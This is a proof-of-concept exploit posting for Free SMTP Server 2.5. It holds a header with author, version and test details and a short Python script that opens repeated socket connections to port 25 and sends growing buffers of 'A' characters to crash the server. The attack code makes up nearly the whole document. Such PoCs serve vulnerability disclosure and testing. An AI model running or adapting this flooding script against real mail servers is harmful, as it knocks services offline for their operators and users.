Free SMTP Server 2.5 – Denial of Service (PoC)

#Exploit Title: Free SMTP Server - Local Denial of Service Crash (PoC)

# Date: February 3, 2009

# Exploit Author: Metin Kandemir (kandemir)

# Vendor Homepage: http://www.softstack.com/freesmtp.html

# Software Link: https://free-smtp-server.en.uptodown.com/windows/download

# Version: 2.5

# Tested on: Windows 7 Service Pack 1 x64

# Software Description : Free SMTP server program to send emails directly from PC.

# ==================================================================

# The SMTP Server will crash when this code is run on localhost.

import socket

a=1

buffer = ["A"]

while a <= 20000:

a = a+1

buffer.append("A"*a)

for string in buffer:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect =s.connect(('127.0.0.1',25))

s.send(string)